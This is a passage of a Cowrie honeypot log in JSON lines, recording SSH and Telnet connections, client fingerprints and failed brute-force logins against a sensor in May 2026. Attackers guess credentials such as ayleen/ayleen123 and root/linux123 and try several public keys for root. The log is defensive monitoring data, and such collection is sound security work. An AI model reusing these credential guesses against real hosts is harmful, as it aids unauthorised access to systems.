57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:04.766432Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen","message":"login attempt [ayleen/ayleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:05.183361Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen1","message":"login attempt [ayleen/ayleen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:06.270501Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen123","message":"login attempt [ayleen/ayleen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:07.358792Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen1234","message":"login attempt [ayleen/ayleen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:08.446074Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen12345","message":"login attempt [ayleen/ayleen12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:09.534166Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48984,"dst_ip":"10.17.0.5","dst_port":23,"session":"2005d99d3235","protocol":"telnet","message":"New connection: 167.71.238.254:48984 (10.17.0.5:23) [session: 2005d99d3235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:09.755871Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:10.622780Z","src_ip":"213.209.159.56","session":"6565af1a8606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":35646,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad3c3477426","protocol":"ssh","message":"New connection: 40.78.155.180:35646 (10.17.0.5:22) [session: 5ad3c3477426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:11.216650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:11.221712Z","src_ip":"40.78.155.180","session":"5ad3c3477426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:11.264800Z","src_ip":"40.78.155.180","session":"5ad3c3477426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaan","message":"login attempt [root/jaan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:11.457411Z","src_ip":"40.78.155.180","session":"5ad3c3477426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:12.500950Z","src_ip":"40.78.155.180","session":"5ad3c3477426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":36790,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1dca37ad8a6","protocol":"ssh","message":"New connection: 160.22.18.220:36790 (159.203.135.109:22) [session: b1dca37ad8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:28.398776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:28.403649Z","src_ip":"160.22.18.220","session":"b1dca37ad8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:28.634182Z","src_ip":"160.22.18.220","session":"b1dca37ad8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:29.574012Z","src_ip":"160.22.18.220","session":"b1dca37ad8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:30.810364Z","src_ip":"160.22.18.220","session":"b1dca37ad8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":45894,"dst_ip":"159.203.135.109","dst_port":22,"session":"197d84574737","protocol":"ssh","message":"New connection: 135.235.138.43:45894 (159.203.135.109:22) [session: 197d84574737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:47.448452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:47.453225Z","src_ip":"135.235.138.43","session":"197d84574737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:47.640511Z","src_ip":"135.235.138.43","session":"197d84574737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:48.401310Z","src_ip":"135.235.138.43","session":"197d84574737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:10:49.586892Z","src_ip":"135.235.138.43","session":"197d84574737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":34772,"dst_ip":"10.17.0.5","dst_port":23,"session":"db292a025e7c","protocol":"telnet","message":"New connection: 167.71.238.254:34772 (10.17.0.5:23) [session: db292a025e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:00.824905Z"}
{"eventid":"cowrie.session.closed","duration":120.00624561309814,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:05.732623Z","src_ip":"189.7.125.10","session":"1204ce79e145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00216484069824,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:06.578906Z","src_ip":"189.7.125.10","session":"c485b99e6d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":56516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c21e1c18f2d","protocol":"ssh","message":"New connection: 186.233.184.67:56516 (10.17.0.5:22) [session: 0c21e1c18f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.285711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.290511Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.330024Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a3:45:a1:f2:4e:e9:c3:1d:4f:bf:39:44:0e:de:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVYEvu5bYzQmY96Zd+BgnbaBRdLj4dhJNn+pgLIDNjlhtlK3ZkdQmkpyh83v1KiiSIY2c2eOZCbi1oLSNktpeU+Jg3iSqjAnn2ZVQaxPar2HP12B4tQ85DxbZvSdiie9CeQnDtFTh27xpbdTaBl0cZX4cCHLcT0Y681CAA9qO3L49PcjZgJS7vRnH+ROrb8A7e+KuzdX9vQ36kyYaznZ6IQo6WwPhEyz/yeUgwqeka0BfNiGQFyVGxIo9zeNxrUpVAfNMe3BpZb4rZre2jw6TYKb7xKDTGtor/+r1m6LiaRDRhvmudiEgGCJByUxouM/2nOMpP4M25PejOpyJX009F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a3:45:a1:f2:4e:e9:c3:1d:4f:bf:39:44:0e:de:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.522788Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a3:45:a1:f2:4e:e9:c3:1d:4f:bf:39:44:0e:de:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVYEvu5bYzQmY96Zd+BgnbaBRdLj4dhJNn+pgLIDNjlhtlK3ZkdQmkpyh83v1KiiSIY2c2eOZCbi1oLSNktpeU+Jg3iSqjAnn2ZVQaxPar2HP12B4tQ85DxbZvSdiie9CeQnDtFTh27xpbdTaBl0cZX4cCHLcT0Y681CAA9qO3L49PcjZgJS7vRnH+ROrb8A7e+KuzdX9vQ36kyYaznZ6IQo6WwPhEyz/yeUgwqeka0BfNiGQFyVGxIo9zeNxrUpVAfNMe3BpZb4rZre2jw6TYKb7xKDTGtor/+r1m6LiaRDRhvmudiEgGCJByUxouM/2nOMpP4M25PejOpyJX009F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.527019Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:e8:5d:85:79:6e:af:42:7d:b7:29:0e:8d:26:a3:df","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDqGvxwUoQQdz+Hcig8JqLoSKLbWHfhacLLDVSfN3EVU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 41:e8:5d:85:79:6e:af:42:7d:b7:29:0e:8d:26:a3:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.568420Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:e8:5d:85:79:6e:af:42:7d:b7:29:0e:8d:26:a3:df","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDqGvxwUoQQdz+Hcig8JqLoSKLbWHfhacLLDVSfN3EVU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.573026Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:cd:da:da:e9:77:aa:45:0e:02:43:45:29:53:50:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC41gl3e+K7Op7IgBdUGrhg/vjbFs/p+iSw58RNCMKirjMU9pg0nyS8JEUCKgy2ViTaUTL9gy7tmNmjqiFNMnI6hU1SpOD+fPkwW4Yq+2x5SN+J+aTPnBS89jCNqpFgIUmg/jMQgDuyeJ0vnVHcSSLXryzks46D3DDVhAogW3WCCqMI89KWNKVF7JCtAKLm2Tt39xAIv8vzYUk561iPeNfTtHvDWUjg/X4sc7yj+7qqfoo+SIGA5cVymXksjCytdDSsJr+00VwTl6K+nFN0+DqZjDxLi2BML/JftrcCYO5WsKMkLXZ0yZHNS+kZCQuOFDU5ojdFmXF+inLWuLG44DMT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:cd:da:da:e9:77:aa:45:0e:02:43:45:29:53:50:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.614383Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:cd:da:da:e9:77:aa:45:0e:02:43:45:29:53:50:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC41gl3e+K7Op7IgBdUGrhg/vjbFs/p+iSw58RNCMKirjMU9pg0nyS8JEUCKgy2ViTaUTL9gy7tmNmjqiFNMnI6hU1SpOD+fPkwW4Yq+2x5SN+J+aTPnBS89jCNqpFgIUmg/jMQgDuyeJ0vnVHcSSLXryzks46D3DDVhAogW3WCCqMI89KWNKVF7JCtAKLm2Tt39xAIv8vzYUk561iPeNfTtHvDWUjg/X4sc7yj+7qqfoo+SIGA5cVymXksjCytdDSsJr+00VwTl6K+nFN0+DqZjDxLi2BML/JftrcCYO5WsKMkLXZ0yZHNS+kZCQuOFDU5ojdFmXF+inLWuLG44DMT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.618585Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:b7:07:2e:5c:10:28:3e:17:0c:e4:28:97:95:72:32","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKscWxrUJ9ZgQOHl+tQDxmWiDEEWDy4JviZ3txhHCE1ou3QXscTDy5c/eC0No80tmitx5aeFDKvvvdkf9vVn6ZnM51l/q+bYAN5XK/zonaySTBrFHiasMXQCqW9Xi5YJWbkQotsGUa1lYb23mrYYiz4QiMriGdSay/tBADOm6T+ZAAAAFQCoOI0vDdor0Nqz4x/3sQ/V0JaVwwAAAIEAn5bjiWlSYeF/gA/68CNkmQ+iae2zRlxCF3ugvSpDRCT06+yH7CvpPtsY8ZGadlIu2FzLpUpadbiReQ2HVwZCXEGzafsurGzzEpr3azQFwpgQq9ohEECsl310kvLi3Zl1P/u1hupVyi0GcCRvPtDaWHdDuEegeioybVlG1FsclHwAAACAbckFdEnJ7RkMCKOlrLrdhRhMjx4MocNdQRQeVGSpgK2HBof215/1iSwwYYHaW2xMNSP0PVb47oU1rhGFVMuIeVv0L4xvyRWF0BXcHeA8pJ16LoIoivp6cCXOLrB/DXYt1LlCwVLo8OuET5bg88bF6nKjmsOOlaYN9oga202CgXw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6d:b7:07:2e:5c:10:28:3e:17:0c:e4:28:97:95:72:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.662524Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:b7:07:2e:5c:10:28:3e:17:0c:e4:28:97:95:72:32","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKscWxrUJ9ZgQOHl+tQDxmWiDEEWDy4JviZ3txhHCE1ou3QXscTDy5c/eC0No80tmitx5aeFDKvvvdkf9vVn6ZnM51l/q+bYAN5XK/zonaySTBrFHiasMXQCqW9Xi5YJWbkQotsGUa1lYb23mrYYiz4QiMriGdSay/tBADOm6T+ZAAAAFQCoOI0vDdor0Nqz4x/3sQ/V0JaVwwAAAIEAn5bjiWlSYeF/gA/68CNkmQ+iae2zRlxCF3ugvSpDRCT06+yH7CvpPtsY8ZGadlIu2FzLpUpadbiReQ2HVwZCXEGzafsurGzzEpr3azQFwpgQq9ohEECsl310kvLi3Zl1P/u1hupVyi0GcCRvPtDaWHdDuEegeioybVlG1FsclHwAAACAbckFdEnJ7RkMCKOlrLrdhRhMjx4MocNdQRQeVGSpgK2HBof215/1iSwwYYHaW2xMNSP0PVb47oU1rhGFVMuIeVv0L4xvyRWF0BXcHeA8pJ16LoIoivp6cCXOLrB/DXYt1LlCwVLo8OuET5bg88bF6nKjmsOOlaYN9oga202CgXw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.666440Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:a7:be:13:ab:3f:9e:73:48:36:e9:6e:04:d1:c6:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSnD0GlF2qXbZNxZN09btQ0WD1ZGeR78mbjvJdfDOWG69Ou0SYPELu8OjqEBqDvRRU2IV/+QOhb5lmM14tQ7HfxlRunVp7bMkg1w8MeNAOkMFkQzDlvnFEDi8S5Qjhahi45Bw7movoGfNGvlTPF2EsWcUHjR/XmubYJzPta5e1Qjid9GR9pPKO/ufoRBOeZmCp0JQqYbJ09Q1NoGWdfeKnPjJrn0+VDT/JB+LCjcIaqFDLTE8M85WZHCkNsIg6j+76vCUHZbw7wN1yH994BjtS+ZZqcCLm9AIFlFxR++jn6/yhYAVMnB2HDlaZpxc50r1gEMiGp5qUsHUUtLPjwKCV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:a7:be:13:ab:3f:9e:73:48:36:e9:6e:04:d1:c6:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.707888Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:a7:be:13:ab:3f:9e:73:48:36:e9:6e:04:d1:c6:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSnD0GlF2qXbZNxZN09btQ0WD1ZGeR78mbjvJdfDOWG69Ou0SYPELu8OjqEBqDvRRU2IV/+QOhb5lmM14tQ7HfxlRunVp7bMkg1w8MeNAOkMFkQzDlvnFEDi8S5Qjhahi45Bw7movoGfNGvlTPF2EsWcUHjR/XmubYJzPta5e1Qjid9GR9pPKO/ufoRBOeZmCp0JQqYbJ09Q1NoGWdfeKnPjJrn0+VDT/JB+LCjcIaqFDLTE8M85WZHCkNsIg6j+76vCUHZbw7wN1yH994BjtS+ZZqcCLm9AIFlFxR++jn6/yhYAVMnB2HDlaZpxc50r1gEMiGp5qUsHUUtLPjwKCV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.711639Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:07.751898Z","src_ip":"186.233.184.67","session":"0c21e1c18f2d","protocol":"ssh"}
